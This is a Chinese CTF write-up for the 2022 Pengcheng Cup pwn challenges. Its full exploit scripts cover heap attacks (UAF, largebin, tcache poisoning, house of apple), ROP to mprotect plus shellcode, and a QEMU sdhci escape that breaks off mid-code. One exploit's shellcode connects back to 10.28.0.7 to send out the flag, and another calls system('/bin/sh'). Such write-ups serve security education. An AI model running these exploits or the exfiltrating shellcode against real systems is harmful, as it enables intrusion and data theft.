2022-鹏程杯-ctf-pwn

2022-鹏程杯-ctf-pwn

简单复盘与总结一下,qemu逃逸的题目还有点意思,其他都是常规题。附件下载链接

A_fruit

题目分析

delete分支有UAF

image-20220706192212407

利用思路

考虑到题目中存在exit,且可以进行1largebin attack,因此直接用我提出的house of apple套现有的脚本模板去解题。

EXP

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
#!/usr/bin/python3
# -*- encoding: utf-8 -*-
# author: roderick

from pwncli import *

cli_script()

io: tube = gift['io']
elf: ELF = gift['elf']
libc: ELF = gift['libc']


def add(size):
    sla("5.Exit\n", "1")
    sla("Input size:\n", str(size))


def edit(i, data):
    sla("5.Exit\n", "2")
    sla("Input index:\n", str(i))
    sa("Input content:", data)


def show(i):
    sla("5.Exit\n", "3")
    sla("Input index:\n", str(i))
    m = rs(2)
    m = [int16_ex(x) for x in m]
    log_ex(f"Get msg: {m}")
    return m

def dele(i):
    sla("5.Exit\n", "4")
    sla("Input index:\n", str(i))


add(0x410) # 0
add(0x420) # 1
add(0x420) # 2
add(0x410) # 3
dele(0)
a1, a2 = show(0)

_p = process(["./calc", str(a1)])
data = _p.recvline_startswith("find", timeout=300)
_p.close()

a1 = int16_ex(data[6:])

_p = process(["./calc", str(a2)])
data = _p.recvline_startswith("find", timeout=120)
_p.close()
a2 = int16_ex(data[6:])
leak_addr = (a2 << 32) + a1
log_address("leak addr", leak_addr)

libc_base = set_current_libc_base_and_log(leak_addr, 0x1e0c00)

dele(2)

a1, a2 = show(2)

_p = process(["./calc", str(a1)])
data = _p.recvline_startswith("find", timeout=300)
_p.close()

a1 = int16_ex(data[6:])

_p = process(["./calc", str(a2)])
data = _p.recvline_startswith("find", timeout=120)
_p.close()
a2 = int16_ex(data[6:])
leak_addr = (a2 << 32) + a1
log_address("leak addr", leak_addr)

heap_base = leak_addr - 0x290
log_address("heap base", heap_base)

add(0x410) # 4
add(0x430) # 5

dele(4)

# largebin attack
target_addr = libc.sym._IO_list_all
edit(2, flat(0, 0, 0, target_addr - 0x20))

add(0x430)

fake_IO_addr = heap_base + 0x290
chain = fake_IO_addr + 0x120
_lock = libc_base + 0x1e3660
point_guard_addr = libc_base + 0x1ed5b0
_IO_wstrn_jumps = libc_base + 0x1e1c60
_IO_cookie_jumps = libc_base + 0x1e1a20

f1 = IO_FILE_plus_struct()
f1._IO_write_base = 0
f1._IO_write_ptr = 1
f1.chain = chain
f1._flags2 = 8
f1._mode = 0
f1._lock = _lock
f1._wide_data = point_guard_addr
f1.vtable = _IO_wstrn_jumps

f2 = IO_FILE_plus_struct()
f2._IO_write_base = 0
f2._IO_write_ptr = 1
f2._lock = _lock 
f2._mode = 0
f2._flags2 = 8
f2.vtable = _IO_cookie_jumps + 0x58

now_pointer = heap_base + 0x380

# 0x000000000010822d: add rsp, 0x30; pop rbx; ret; 
# 0x0000000000059020: mov rsp, rdx; ret;
# 0x000000000014a0a0: mov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20]; 
# 0x0000000000028a55: pop rdi; ret; 
# 0x000000000002a4cf: pop rsi; ret; 
# 0x00000000000c7f32: pop rdx; ret;
magic_gadget = libc_base + 0x000000000014a0a0

data = flat({
    0: bytes(f1)[0x10:],
    0x110: {
        0: bytes(f2),
        0xe0: [heap_base + 0x4a0, rol(magic_gadget ^ now_pointer, 0x11),
        [
            libc_base + 0x000000000010822d,  # 0x4a0
            heap_base + 0x4a0,
            0, 0,
            0x0000000000059020 + libc_base,
            0, 0,
            0, 
            [
            0x0000000000028a55 + libc_base,
            heap_base,
            0x000000000002a4cf + libc_base,
            0x10000,
            libc_base + 0x00000000000c7f32,
            7,
            libc.sym.mprotect,
            fake_IO_addr+0x300,
            ]
        ]
        ]
    },
    0x2f0: ShellcodeMall.amd64.cat_flag
})

edit(4, data)

sla("5.Exit\n", "5")

ia()

当然,需要手写一个calc.c去计算地址:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
#include <stdio.h>
#include <stdint.h>
#include <unistd.h>
#include <stdlib.h>

void func(uint32_t start, uint32_t end, uint32_t num)
{
    uint32_t x = start;
    while (x < end) {
        uint32_t a1 = x;
        for (int i = 0xA; i > 0; --i )
            a1 ^= ((a1 ^ (0x30 * a1)) >> 0x15) ^ (0x30 * a1) ^ ((a1 ^ (0x30 * a1) ^ ((a1 ^ (0x30 * a1)) >> 0x15)) << 0x11);
        if (a1 == num) {
            printf("find: 0x%x\n", x);
        }
        ++x;
    }
}

int main(int argc, char **argv, char**env)
{
    setbuf(stdin, 0);
    setbuf(stdout, 0);
    uint32_t num = (uint32_t)atoi(argv[1]);
    printf("num: %u\n", num);
    int p1, p2, p3;
    p1 = fork();
    if (p1 == 0) {
        func(0, 0x40000000, num);
        exit(0);
    } else {
        p2 = fork();
        if (p2 == 0) {
            func(0x40000000, 0x80000000, num);
            exit(0);
        } else {
            p3 = fork();
            if (p3 == 0) {
                func(0x80000000, 0xc0000000, num);
                exit(0);
            } else {
                func(0xc0000000, 0xffffffff, num);
            }
        }
    }
    waitpid(0);
    return puts("done!");
}

fruitshop

题目分析

同样在delete分支有UAF,被释放后可以继续写和读。

image-20220706192611025

利用思路

仍然利用house of apple去拿shell

EXP

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
#!/usr/bin/python3
# -*- encoding: utf-8 -*-
# author: roderick

from pwncli import *

cli_script()

io: tube = gift['io']
elf: ELF = gift['elf']
libc: ELF = gift['libc']

apple = "Apple"  # 0xdd0 malloc   3 个
banana = "Banana" # 0xcb0 malloc  5 个
cherry = "Cherry" # 0xe50  malloc 4 个
durian = "Durian" # 0x110 calloc  5 个

def get_fruit(fr, i, data=None):
    if not data:
        data = fr
    sla("> ", "1")
    sla("choose a fruit(new):\n", fr)
    sla("index:\n", str(i))
    sa("Content:\n", data)


def cook_fruit(fr, i, d1, d2=None, d3=None, d4=None):
    sla("> ", "2")
    sla("choose a fruit(edit):\n", fr)
    sla("idx:\n", str(i))
    if fr == apple:
        sa("Do~\n", d1)
        sa("Re~\n", d2)
        sa("Mi~\n", d3)
        sa("Fa~\n", d4)
    else:
        sa("Content:\n", d1)


def taste_fruit(fr, i, n=0x20):
    sla("> ", "3")
    sla("choose a fruit(show):\n", fr)
    sla("idx:\n", str(i))
    ru("Content is")
    m = rn(n)
    log_ex(f"Get msg: {m}")
    return m


def throw_fruit(fr, i):
    sla("> ", "4") 
    sla("choose a fruit(delete):\n", fr)
    sla("idx:\n", str(i))

# leak glibc addr
get_fruit(banana, 0)
get_fruit(cherry, 0)
get_fruit(banana, 1)
get_fruit(cherry, 1)

throw_fruit(banana, 0)
throw_fruit(banana, 1)

m = taste_fruit(banana, 0, 0x10)
libcaddr = u64_ex(m[:8])
heapaddr = u64_ex(m[8:])
log_address_ex("libcaddr")
log_address_ex("heapaddr")

libc_base = set_current_libc_base_and_log(libcaddr, 0x1ecbe0)
heap_base = heapaddr - 0x1db0
log_address("heapbase", heap_base)

throw_fruit(cherry, 0)
throw_fruit(cherry, 1)

get_fruit(apple, 0)
get_fruit(cherry, 2)
get_fruit(apple, 1)
get_fruit(cherry, 3)
get_fruit(apple, 2)

for i in range(5):
    get_fruit(durian, 0)
    throw_fruit(durian, 0)

throw_fruit(apple, 0)
get_fruit(banana, 0)
get_fruit(cherry, 0)

throw_fruit(apple, 1)
get_fruit(banana, 1)
get_fruit(cherry, 1)

cook_fruit(apple, 1,  flat(0, 0x121, heap_base + 0xf50, libc_base + 0x1eeea0-0x10), "deadbeef", flat(0, 0x121, heap_base + 0xf50, heap_base + 0x1ee0), "deadbeef")
get_fruit(durian, 1)

cook_fruit(apple, 0,  "deadbeef", "deadbeef", flat(0, 0x1440), "deadbeef")
cook_fruit(banana, 1,  flat({0x4b0:[0, 0x21, 0, 0]*2}))

throw_fruit(durian, 1)

fake_IO_addr = heap_base + 0xf50
chain = heap_base + 0x1080
_lock = libc_base + 0x1ee7d0
point_guard_addr = libc_base + 0x1f3570
_IO_wstrn_jumps = libc_base + 0x1e8c60
_IO_cookie_jumps = libc_base + 0x1e8a20

f1 = IO_FILE_plus_struct()
f1._IO_write_base = 0
f1._IO_write_ptr = 1
f1.chain = chain
f1._flags2 = 8
f1._mode = 0
f1._lock = _lock
f1._wide_data = point_guard_addr
f1.vtable = _IO_wstrn_jumps

now_pointer = heap_base + 0x1040
f2 = IO_FILE_plus_struct()
f2._IO_write_base = 0
f2._IO_write_ptr = 1
f2._lock = _lock 
f2._mode = 0
f2._flags2 = 8
f2.vtable = _IO_cookie_jumps + 0x58

cook_fruit(durian, 1, bytes(f1)[0x10:])
cook_fruit(cherry, 2, bytes(f2) + flat(libc.search(b"/bin/sh").__next__(), rol(libc.sym.system ^ now_pointer, 0x11)))

sla("> ", "quit")

ia()

one

题目分析

给了栈地址,之后还能泄露出pie基址。但是close(1)了,所以采用byte写入数据。

利用思路

  • 修改rbpret_addr,做栈迁移
  • 修改stdout指向_IO_2_1_stderr
  • 利用printf泄露地址
  • 利用ret2csu做栈rop

EXP

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
#!/usr/bin/python3
# -*- encoding: utf-8 -*-
# author: roderick

from pwncli import *

cli_script()

io: tube = gift['io']
elf: ELF = gift['elf']
libc: ELF = gift['libc']

ru("gift:")
m = rl()
stack_addr = int16(m)
log_address("stack addr", stack_addr)

sa("username:", "a"*8)
sa("password:", "a"*8)
ru("Hello ")
m = rl()
start_addr = u64_ex(m[8:-1])
codebase = set_current_code_base_and_log(start_addr, 0x11a0)

offset=6
rbp = stack_addr + 0x810

data = fmtstr_payload(offset=6, writes={rbp:stack_addr+0x118, rbp+8:codebase+0x14D7}, write_size_max="byte", write_size="byte")

CurrentGadgets.set_find_area()
sa("Now, you can't see anything!!!\n", flat([
    data,
    CurrentGadgets.write_by_magic(codebase+0x4020, 0x7ffff7f986a0, 0x7ffff7f985c0),
    CurrentGadgets.pop_rdi_ret(),
    elf.got.read,
    elf.plt.printf,
    codebase + 0x153A,
    0, 1,
    0, stack_addr + 0x170, 0x500,
    elf.got.read,
    codebase + 0x1520
]))

libc_base = set_current_libc_base_and_log(recv_current_libc_addr(), "read")

s(flat({0:[
    [CurrentGadgets.ret()]*0x20,
    CurrentGadgets.pop_rdi_ret(),
    stack_addr &~0xfff,
    CurrentGadgets.pop_rsi_r15_ret(),
    0x4000, 0,
    0x0000000000142c92 + libc_base, 7,
    libc.sym.mprotect,
    stack_addr + 0x300,
    "\x90"*0x100, 
    asm(shellcraft.cat("flag.txt", 2))
]}))


ia()

ezthree

题目分析

一个是rw属性的内存块,可以写入以下指令:

1
2
3
4
5
ret
jmp
movrax
nop
zero

一个是rwx的指令,但是只能写0x28字节,且写入后直接close 0/1/2了。

由于在分配rw内存的时候,有这样一句:

image-20220706204009690

所以可以从0x100000000000开始爆破。

利用思路

  • 利用nonsleep的返回值来扫描内存
  • 扫描到rw内存后,直接修改其权限为rwx
  • 提前在rw区域布置好shellcode,可以利用jmp shortmovrax要输入的8个字节去构造
  • 使用reverse tcp反向连接读取flag

EXP

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
#!/usr/bin/python3
# -*- encoding: utf-8 -*-
# author: roderick

from pwncli import *

cli_script()

io: tube = gift['io']
elf: ELF = gift['elf']
libc: ELF = gift['libc']

sla("INput >> ", "a"*(0x30))

# ret jmp movrax nop zero
rt = "ret"
j = "jmp"
mr = "movrax"
n = "nop"
z = "zero"
q = "quit"


payload = generate_payload_for_connect("10.28.0.7", 23579)

data_tmp = [
    "\x02",
    asm("lea rsp, [rip+0x800]"), # lea rsp, [rip+0x800]
    "\x02",
    asm("xor ebx, ebx; xor esi, esi; xor edx, edx; push rbx"), # xor ebx, ebx; push rbx
    "flag.txt",
    "\x02",
    asm("push rax; push rsp; pop rdi; xor eax, eax"),
    "\x02",
    asm("mov al, 2;syscall;mov al, 2; push rax"), # open flag
    "\x02",
    asm("pop rdi; mov al, 1; push rax; pop rsi"),
    "\x02",
    asm("mov al, 41;syscall;mov rdi, rax;push rdx"),
    payload[:8],
    "\x02",
    asm("push rax; push rsp; pop rsi; mov dl, 0x10"),
    "\x02",
    asm("xor eax, eax; mov al, 42;syscall"),
    "\x02",
    asm("xor eax, eax;mov rsi,rsp; mov dl, 0x60"),
    "\x02",
    asm("xor edi, edi; syscall;inc edi"),
    "\x02",
    asm("xor eax, eax; mov al, 1;syscall")
]

data = []
for x in data_tmp:
    if x == "\x02":
        data.append(j)
    else:
        data.append(mr)

data.append(q)

data2 = []
for x in data_tmp:
    assert len(x) <= 8, f"{len(x)}, x is {x}"
    pad = "\x00"
    if isinstance(x, bytes):
        pad = b"\x00"
    if x != "\x02" and len(x) < 8:
        pad = "\x90"
        if isinstance(x, bytes):
            pad = b"\x90"
    print(type(x), type(pad), x, pad)
    x = x.ljust(8, pad)
    tmp = u64(x)
    if tmp > 0x7fffffffffffffff:
        tmp -= (1 << 64)
    data2.append(str(tmp))

idx = 0
for x in data:
    sla("code > ", x)
    if x == mr or x == j:
        sl(data2[idx])
        idx += 1

print(f"data: {data}")
print(f"data2: {data2}")

sc = """
inc edi
sal rdi, 0x2c
L1:
add rdi, 0x1000
xor eax, eax
mov al, 35
syscall
cmp al, 0xea
jne L1
mov bh, 0x10
mov esi, ebx
mov dl, 7
xor eax, eax
mov al, 10
syscall
jmp rdi
"""

sa("You want to do sometings ?\n", asm(sc))

ia()

rainbowcat

题目分析

似乎是加了花指令导致IDA反编译基本失效,不过好在题目不复杂,可以通过简单的测试得到所有功能。

测试之后发现四个功能:

1
2
3
4
5
6
7
8
9
1.add
固定malloc(0x10),index在0-2之间,可以无限制add,但是会检查地址是不是堆地址,如果想分配到栈、libc上就会失败

2.dele
存在UAF

3.show

4.edit

利用思路

  • 存在UAF,所以首先泄露地址
  • 然后修改chunk size伪造largebin chunk
  • 然后进行largebin attack修改_IO_list_all
  • 使用tache poision attack任意地址写0x10字节,在堆上布局_IO_FILE
  • 使用house of apple进行orw读取flag

EXP

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
#!/usr/bin/python3
# -*- encoding: utf-8 -*-
# author: roderick

from pwncli import *

cli_script()

io: tube = gift['io']
elf: ELF = gift['elf']
libc: ELF = gift['libc']

def add(i):
    sla("Your choice >> ", "1")
    sla("Which cat do you want to get? ", str(i))


def dele(i):
    sla("Your choice >> ", "2")
    sla("Which one do you want to abandon? ", str(i))


def show(i):
    sla("Your choice >> ", "3")
    sla("Choose a cat to show name: ", str(i))
    ru("Name:")
    m = rn(0x10)
    info(f"get msg: {m}")
    return m

def edit(i, data):
    sla("Your choice >> ", "4")
    sla("Which one?", str(i))
    sa("Rename the cat: ", data)

add(0)
dele(0)
m = show(0)
heap_base = u64_ex(m[-8:]) - 0x10
log_address_ex("heap_base")

add(0)
add(1)

for i in range(0x30):
    add(2)

dele(1)
dele(0)

edit(0, flat((heap_base + 0x290)^(heap_base >> 12), 0))
add(2)
add(2)
edit(2, flat(0, 0x421))

dele(0)
m = show(0)
libc_addr = u64_ex(m[:8])
libc_base = set_current_libc_base_and_log(libc_addr, 0x1e0c00)
target_addr = libc.sym._IO_list_all

add(1)
add(1)
add(1)

edit(2, flat(0, 0x461))
dele(0)

add(1)
add(0)
add(2)

dele(1)
dele(0)

edit(0, flat((heap_base + 0x2b0)^(heap_base >> 12), 0))
add(0)
add(0)
edit(0, flat(0, target_addr-0x20))

add(0)
dele(0)
edit(0, flat(0, 0))
dele(0)
edit(0, flat((heap_base + 0x330)^(heap_base >> 12), 0))

add(0)
add(0)
edit(0, flat(0, 0x441))

dele(2)
add(0)

def write_addt_0x10(addr, data):
    edit(1, flat(0, 0))
    dele(1)
    edit(1, flat(0, 0))
    dele(1)
    edit(1, flat(addr^(heap_base >> 12), 0))
    add(0)
    add(0)
    edit(0, data)

fake_IOFILE = heap_base + 0x330
fake_IOFILE2 = fake_IOFILE + 0x40

lock = libc_base + 0x1e3660
_IO_wstrn_jumps  = libc_base + 0x1e1c60
_IO_cookie_jumps = libc_base + 0x1e1a20
point_guard_addr = libc_base + 0x1ed5b0
new_pointer_guard = fake_IOFILE + 0xf0

write_addt_0x10(fake_IOFILE + 0x60, flat(0, fake_IOFILE2))
write_addt_0x10(fake_IOFILE + 0x70, flat(8 << 32, 0))
write_addt_0x10(fake_IOFILE + 0x80, flat(0, lock))
write_addt_0x10(fake_IOFILE + 0xa0, flat(point_guard_addr, 0))
write_addt_0x10(fake_IOFILE + 0xd0, flat(0, _IO_wstrn_jumps))

write_addt_0x10(fake_IOFILE2 + 0x70, flat(8 << 32, 0))
write_addt_0x10(fake_IOFILE2 + 0x80, flat(0, lock))
write_addt_0x10(fake_IOFILE2 + 0xd0, flat(0, _IO_cookie_jumps+0x58))

"""
0x000000000014a0a0: mov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20];
0x0000000000059020: mov rsp, rdx; ret;
0x000000000010822d: add rsp, 0x30; pop rbx; ret;
0x0000000000028a55: pop rdi; ret;
0x000000000002a4cf: pop rsi; ret; 
0x00000000000c7f32: pop rdx; ret;
"""
CurrentGadgets.set_find_area(0, 1)

fake_rdx = fake_IOFILE + 0x200
gadget_addr = CurrentGadgets.find_gadget('mov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20];','asm')
write_addt_0x10(fake_IOFILE2 + 0xe0, flat(fake_rdx, rol(gadget_addr ^ new_pointer_guard, 0x11)))

write_addt_0x10(fake_rdx, flat(CurrentGadgets.find_gadget('add rsp, 0x30; pop rbx; ret;','asm'), fake_rdx))
write_addt_0x10(fake_rdx+0x20, flat(CurrentGadgets.find_gadget('mov rsp, rdx; ret;','asm'), 0))
write_addt_0x10(fake_rdx+0x40, flat(CurrentGadgets.pop_rdi_ret(), heap_base))
write_addt_0x10(fake_rdx+0x50, flat(CurrentGadgets.pop_rsi_ret(), 0x10000))
write_addt_0x10(fake_rdx+0x60, flat(CurrentGadgets.pop_rdx_ret(), 7))
write_addt_0x10(fake_rdx+0x70, flat(libc.sym.mprotect, fake_rdx+0x80))

sc = asm(shellcraft.cat("flag.txt"))

mod = len(sc) % 0x10

if mod:
    sc += b"\x90" * (0x10 - mod)

for i in range(len(sc) // 0x10):
    write_addt_0x10(fake_rdx+0x80 + 0x10 * i, sc[0x10 * i: 0x10 * i + 0x10])

# to exit
edit(1, flat(0, 0))
dele(1)
edit(1, flat(0, 0))
dele(1)
edit(1, flat(libc.sym.__free_hook^(heap_base >> 12), 0))
add(0)
add(0)

ia()

arm-protocol

题目分析

数据包的大小为0x58,从+0x4b开始输出的值会拿去做md5运算,然后只需要满足其md5的前3个字符是\x4d\x89\x00即可,爆破一下就能得到一串输入绕过md5的校验。

然后会有数据包的校验和检查。

edit的时候,有off by one,因为是先赋值,后判断的:

image-20220706205439387

逆向出数据结构为:

1
2
3
4
5
6
struct Note
{
  void *func_ptr;
  void *data_addr;
  char data[0];
};

利用思路

  • libc-2.27tcache,修改chunk size,然后修改func_ptrdata_addr泄露出libc地址
  • 第二次伪造修改为system/bin/sh地址即可

EXP

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
#!/usr/bin/python3
# -*- encoding: utf-8 -*-
# author: roderick

# run cmd: ./exp.py qemu ./arm_protocol
# debug cmd: ./exp.py qemu ./arm_protocol -t -b 0x126dc

from pwncli import *

cli_script()

io: tube = gift['io']
libc = ELF("./libc-2.27.so")

def add(size):
    assert size > 0 and size <= 0x70
    data = flat_z({
        0: 0x11451400,
        4: size,
        8: size,
        0x4b:b'A\x01\x01\x01\x01\x01\x01\x01\x01\x01\x039\xc0',
    }, length=0x58)
    sa("Input code>\n", data)

def show(idx):
    data = flat_z({
        0: 0x11451400,
        4: idx,
        0xc: idx,
        0x49: '\x01',
        0x4b:b'A\x01\x01\x01\x01\x01\x01\x01\x01\x01\x039\xc0',
    }, length=0x58)
    sa("Input code>\n", data)


def dele(idx):
    data = flat_z({
        0: 0x11451400,
        4: idx,
        0xc: idx,
        0x48: '\x01',
        0x4b:b'A\x01\x01\x01\x01\x01\x01\x01\x01\x01\x039\xc0',
    }, length=0x58)
    sa("Input code>\n", data)


def edit(idx, payload):
    assert len(payload) < 0x3a
    check_sum = idx
    for x in payload:
        tmp = x
        if isinstance(payload, str):
            tmp = u8(x)
        if tmp:
            check_sum ^= tmp
        else:
            break
    data = flat_z({
        0: 0x11451400,
        4: check_sum,
        8: 0, # 2
        0xc: idx,
        0x10: payload,
        0x4a: '\x01',
        0x4b:b'A\x01\x01\x01\x01\x01\x01\x01\x01\x01\x039\xc0',
    }, length=0x58)
    sa("Input code>\n", data)

add(0xc)
add(0xc)
add(0xc)

edit(0, "x"*0xc+"\x31")

dele(1)
add(0x24)

edit(1, p64(0)+p32(0)+p32(0x19)+p32(0x00012418)+p32(0x23010)+b"\n")

show(2)
libc_addr = u32(rn(4))
libc_base = libc_addr - 0xc85e0
libc.address = libc_base
log_address_ex("libc_base")

edit(1, p64(0)+p32(0)+p32(0x19)+p32(libc.sym.system)+p32(libc.search(b"/bin/sh").__next__())+b"\n")

show(2)

ia()

pchsdhci

题目分析

这是最麻烦的一道题,足足做了一天才磨出来。主要还是对sd卡协议不是很清楚,靠着源码一步一步调试出来的。

利用思路

需要注意的有:

  • 需要配置pci0xcfc端口,开启dma传输
  • 需要利用sd卡去读数据
  • 最后在访问物理内存的时候,伪造MemoryRegion->opsvalid指针,伪造opaque指针,可以调用执行任意代码

EXP

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
#include <stdio.h>
#include <string.h>
#include <stdint.h>
#include <stdlib.h>
#include <fcntl.h>
#include <assert.h>
#include <inttypes.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <unistd.h>
#include<sys/io.h>

/* R/W SDMA System Address register 0x0 */
#define SDHC_SYSAD                     0x00

/* R/W Host DMA Buffer Boundary and Transfer Block Size Register 0x0 */
#define SDHC_BLKSIZE                   0x04

/* R/W Blocks count for current transfer 0x0 */
#define SDHC_BLKCNT                    0x06

/* R/W Command Argument Register 0x0 */
#define SDHC_ARGUMENT                  0x08

/* R/W Transfer Mode Setting Register 0x0 */
#define SDHC_TRNMOD                    0x0C
#define SDHC_TRNS_DMA                  0x0001
#define SDHC_TRNS_BLK_CNT_EN           0x0002
#define SDHC_TRNS_ACMD12               0x0004
#define SDHC_TRNS_ACMD23               0x0008 /* since v3 */
#define SDHC_TRNS_READ                 0x0010
#define SDHC_TRNS_MULTI                0x0020
#define SDHC_TRNMOD_MASK               0x0037

/* R/W Command Register 0x0 */
#define SDHC_CMDREG                    0x0E
#define SDHC_CMD_RSP_WITH_BUSY         (3 << 0)
#define SDHC_CMD_DATA_PRESENT          (1 << 5)
#define SDHC_CMD_SUSPEND               (1 << 6)
#define SDHC_CMD_RESUME                (1 << 7)
#define SDHC_CMD_ABORT                 ((1 << 6)|(1 << 7))
#define SDHC_CMD_TYPE_MASK             ((1 << 6)|(1 << 7))
#define SDHC_COMMAND_TYPE(x)           ((x) & SDHC_CMD_TYPE_MASK)

/* ROC Response Register 0 0x0 */
#define SDHC_RSPREG0                   0x10
/* ROC Response Register 1 0x0 */
#define SDHC_RSPREG1                   0x14
/* ROC Response Register 2 0x0 */
#define SDHC_RSPREG2                   0x18
/* ROC Response Register 3 0x0 */
#define SDHC_RSPREG3                   0x1C

/* R/W Buffer Data Register 0x0 */
#define SDHC_BDATA                     0x20

/* R/ROC Present State Register 0x000A0000 */
#define SDHC_PRNSTS                    0x24
#define SDHC_CMD_INHIBIT               0x00000001
#define SDHC_DATA_INHIBIT              0x00000002
#define SDHC_DAT_LINE_ACTIVE           0x00000004
#define SDHC_IMX_CLOCK_GATE_OFF        0x00000080
#define SDHC_DOING_WRITE               0x00000100
#define SDHC_DOING_READ                0x00000200
#define SDHC_SPACE_AVAILABLE           0x00000400
#define SDHC_DATA_AVAILABLE            0x00000800
#define SDHC_CARD_PRESENT              0x00010000
#define SDHC_CARD_DETECT               0x00040000
#define SDHC_WRITE_PROTECT             0x00080000

unsigned char* mmio_mem;

void die(const char* msg)
{
    perror(msg);
    exit(-1);
}

void mmio_write(uint32_t addr, uint32_t value)
{
    *((uint32_t*)(mmio_mem + addr)) = value;
}

uint32_t mmio_read(uint32_t addr)
{
    return *((uint32_t*)(mmio_mem + addr));
}

#define PAGE_SHIFT  12
#define PAGE_SIZE   (1 << PAGE_SHIFT)
#define PFN_PRESENT (1ull << 63)
#define PFN_PFN     ((1ull << 55) - 1)

int g_fd;

uint32_t page_offset(uint32_t addr)
{
    return addr & ((1 << PAGE_SHIFT) - 1);
}

uint64_t gva_to_gfn(void *addr)
{
    uint64_t pme, gfn;
    size_t offset;
    offset = ((uintptr_t)addr >> 9) & ~7;
    lseek(g_fd, offset, SEEK_SET);
    read(g_fd, &pme, 8);
    if (!(pme & PFN_PRESENT))
        return -1;
    gfn = pme & PFN_PFN;
    return gfn;
}

uint64_t gva_to_gpa(void *addr)
{
    uint64_t gfn = gva_to_gfn(addr);
    assert(gfn != -1);
    return (gfn << PAGE_SHIFT) | page_offset((uint64_t)addr);
}

void hexdump(void *addr, size_t len)
{

    len &= ~0xf;
    char buf[0x400];
